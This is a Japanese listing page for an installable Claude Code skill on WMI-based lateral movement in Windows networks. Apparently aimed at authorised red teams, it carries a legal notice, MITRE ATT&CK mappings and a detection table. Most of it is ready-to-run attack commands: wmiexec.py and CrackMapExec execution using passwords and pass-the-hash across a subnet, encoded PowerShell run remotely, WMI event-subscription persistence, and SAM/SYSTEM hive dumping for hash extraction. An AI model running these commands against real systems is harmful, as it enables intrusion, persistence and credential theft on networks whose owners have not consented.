performing-lateral-movement-with-wmiexec について
WindowsシステムでWMIを使ったリモートコマンド実行と横展開を扱うセキュリティテスト用スキルです。許可を得たレッドチームやセキュリティテスター向けに、Impacket、CrackMapExec、標準WMIツールの手法と検知指標を説明します。
主な機能
- 01Impacket wmiexec.pyシェルの利用
- 02WMI経由のPass-the-Hash
- 03CrackMapExecによる複数対象実行
- 04標準PowerShell WMIコマンド
- 05WMI永続化の手法
- 06検知指標とログ
活用シーン
- 01許可されたWindowsネットワーク評価
- 02WMIベースのセキュリティ制御の検証
- 03WMIアクティビティ検知の確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill performing-lateral-movement-with-wmiexecインストール後、Claude Code で/performing-lateral-movement-with-wmiexecを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py詳細
WMIExec を使った水平移動の実施
法的通知: このスキルは、許可されたセキュリティテストおよび教育目的のみを想定しています。所有していないシステム、または書面による テストの許可を得ていないシステムに対して無断で使用することは違法であり、コンピュータ不正利用禁止法に違反するおそれがあります。
概要
WMI(Windows Management Instrumentation)は正規の Windows 管理フレームワークですが、レッドチームは、追加のサービスを展開せず、PsExec のような明白な痕跡も残さずにリモートでコマンドを実行できるため、水平移動に悪用します。Impacket の wmiexec.py は、Win32_Process.Create を通じてコマンドを実行し、ADMIN$ 共有上の一時ファイルを経由して出力を読み取ることで、WMI 上に準対話型シェルを作成します。PsExec と異なり、WMIExec は対象にサービスをインストールしないため、よりステルス性が高く、セキュリティアラートを発生させにくくなります。WMI ベースの水平移動は MITRE ATT&CK の T1047(Windows Management Instrumentation)に対応しており、APT29、APT32、Lazarus Group などの脅威アクターが利用しています。
使用するタイミング
- wmiexec を使った水平移動を伴うセキュリティアセスメントを実施するとき
- 関連するセキュリティイベントに対してインシデント対応手順に従うとき
- 定期的なセキュリティテストや監査活動を実施するとき
- 実地テストを通じてセキュリティ制御を検証するとき
前提条件
- レッドチームの概念およびツールに関する基礎知識があること
- 安全に実行するためのテスト環境またはラボ環境にアクセスできること
- 必要な依存関係をインストールした Python 3.8 以降の環境があること
- テスト活動に対する適切な許可を得ていること
目的
- WMI ベースの手法を用いて Windows の対象にリモートでコマンドを実行する
- Impacket の wmiexec.py を介して準対話型シェルを確立する
- WMI を使ってパス・ザ・ハッシュによる水平移動を実施する
- CrackMapExec を使って複数の対象に対して WMI コマンドを実行する
- ファイルレスな水平移動のためにネイティブの PowerShell WMI コマンドを実行する
- ネットワーク全体へのアクセスのために WMI と認証情報の収集を連携させる
MITRE ATT&CK マッピング
- T1047 - Windows Management Instrumentation
- T1021.003 - Remote Services: Distributed Component Object Model (DCOM)
- T1550.002 - Use Alternate Authentication Material: Pass the Hash
- T1059.001 - Command and Scripting Interpreter: PowerShell
- T1570 - Lateral Tool Transfer
ワークフロー
フェーズ 1: Impacket による WMIExec
- 認証情報を指定して準対話型シェルを実行する:
# With cleartext password wmiexec.py domain.local/admin:'Password123'@10.10.10.50 # With NT hash (Pass-the-Hash) wmiexec.py -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 domain.local/[email protected] # With Kerberos ticket export KRB5CCNAME=admin.ccache wmiexec.py -k -no-pass domain.local/[email protected] # Execute specific command (non-interactive) wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "ipconfig /all" - 出力ファイルを使わずにコマンドを実行する(DCOM を使用するためよりステルス性が高い):
# Using dcomexec.py as alternative (MMC20.Application DCOM object) dcomexec.py -object MMC20 domain.local/admin:'Password123'@10.10.10.50 # Using ShellWindows DCOM object dcomexec.py -object ShellWindows domain.local/admin:'Password123'@10.10.10.50
フェーズ 2: CrackMapExec による複数対象への実行
- 複数の対象に対してコマンドを実行する:
# Execute single command on subnet crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -x "whoami" # Execute with hash crackmapexec wmi 10.10.10.0/24 -u admin -H a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 -x "ipconfig" # Execute PowerShell command crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -X "Get-Process" # Check local admin access via WMI crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123'
フェーズ 3: ネイティブ WMI コマンド(Windows)
- Windows に標準搭載の WMI ツールを使ってリモートでコマンドを実行する:
# Using wmic.exe (deprecated but still available) wmic /node:10.10.10.50 /user:domain\admin /password:Password123 process call create "cmd.exe /c whoami > C:\temp\out.txt" # Using PowerShell Invoke-WmiMethod $cred = Get-Credential Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 ` -Credential $cred -ArgumentList "cmd.exe /c ipconfig > C:\temp\output.txt" # Using CIM sessions (modern replacement for WMI) $session = New-CimSession -ComputerName 10.10.10.50 -Credential $cred Invoke-CimMethod -CimSession $session -ClassName Win32_Process ` -MethodName Create -Arguments @{CommandLine="cmd.exe /c whoami"} - WMI を介したファイルレスな PowerShell 実行:
# Execute encoded PowerShell command remotely $cmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('Get-Process | Out-File C:\temp\procs.txt')) Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 ` -Credential $cred -ArgumentList "powershell.exe -enc $cmd"
フェーズ 4: WMI ベースの永続化
- 永続化のために WMI イベントサブスクリプションを作成する:
# Create WMI event subscription (command runs on every logon) $filter = Set-WmiInstance -Namespace "root\subscription" -Class __EventFilter ` -Arguments @{Name="PersistFilter"; EventNamespace="root\cimv2"; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"} $consumer = Set-WmiInstance -Namespace "root\subscription" -Class CommandLineEventConsumer ` -Arguments @{Name="PersistConsumer"; CommandLineTemplate="cmd.exe /c <payload>"} Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding ` -Arguments @{Filter=$filter; Consumer=$consumer}
フェーズ 5: 認証情報の収集との連携
- リモートでの認証情報の抽出に WMI を使用する:
# Dump SAM hashes via WMI + reg save wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "reg save HKLM\SAM C:\temp\sam && reg save HKLM\SYSTEM C:\temp\system" # Download saved hives smbclient.py domain.local/admin:'Password123'@10.10.10.50 > get C:\temp\sam > get C:\temp\system # Extract hashes from saved hives secretsdump.py -sam sam -system system LOCAL
ツールとリソース
| ツール | 用途 | プラットフォーム |
|---|---|---|
| wmiexec.py | 準対話型 WMI シェル(Impacket) | Linux(Python) |
| dcomexec.py | DCOM ベースのリモート実行(Impacket) | Linux(Python) |
| CrackMapExec | 複数対象に対する WMI 実行 | Linux(Python) |
| wmic.exe | Windows 標準の WMI コマンドラインツール | Windows |
| PowerShell CIM | 最新の WMI コマンドレット | Windows |
| SharpWMI | .NET ベースの WMI 実行ツール | Windows(.NET) |
WMI 実行手法の比較
| 手法 | サービスの作成 | 出力方法 | ステルス性 |
|---|---|---|---|
| wmiexec.py | なし | ADMIN$ 上の一時ファイル | 中 |
| dcomexec.py | なし | ADMIN$ 上の一時ファイル | 中〜高 |
| wmic.exe | なし | なし(ブラインド)またはリダイレクト | 中 |
| PowerShell WMI | なし | なし(ブラインド)またはリダイレクト | 高 |
| PsExec(比較対象) | あり | サービスの出力パイプ | 低 |
検出シグネチャ
| 指標 | 検出方法 |
|---|---|
| Win32_Process.Create の WMI 呼び出し | WMI の親プロセスを伴うイベント 4688(プロセス作成) |
| ADMIN$ 上の WMI 一時出力ファイル | ADMIN$ 共有上の一時ファイルをファイル監視で検出 |
| リモート WMI 接続(DCOM/135) | ワークステーション宛ての DCOM トラフィックをネットワーク監視で検出 |
| WmiPrvSE.exe による cmd.exe/powershell.exe の起動 | EDR のプロセスツリー分析 |
| イベント 5857/5860/5861 | Microsoft-Windows-WMI-Activity の WMI アクティビティログ |
検証基準
- リモートターゲット上で WMIExec シェルを確立
- WMI 経由の Pass-the-Hash 実行を検証
- CrackMapExec WMI 経由で複数ターゲットに対するコマンド実行
- ネイティブの PowerShell WMI コマンドをリモートで実行
- WMI 実行チェーン経由で認証情報を窃取
- ターゲットシステムにサービス作成の痕跡がないことを確認
- コマンド出力とスクリーンショットを含む証拠を記録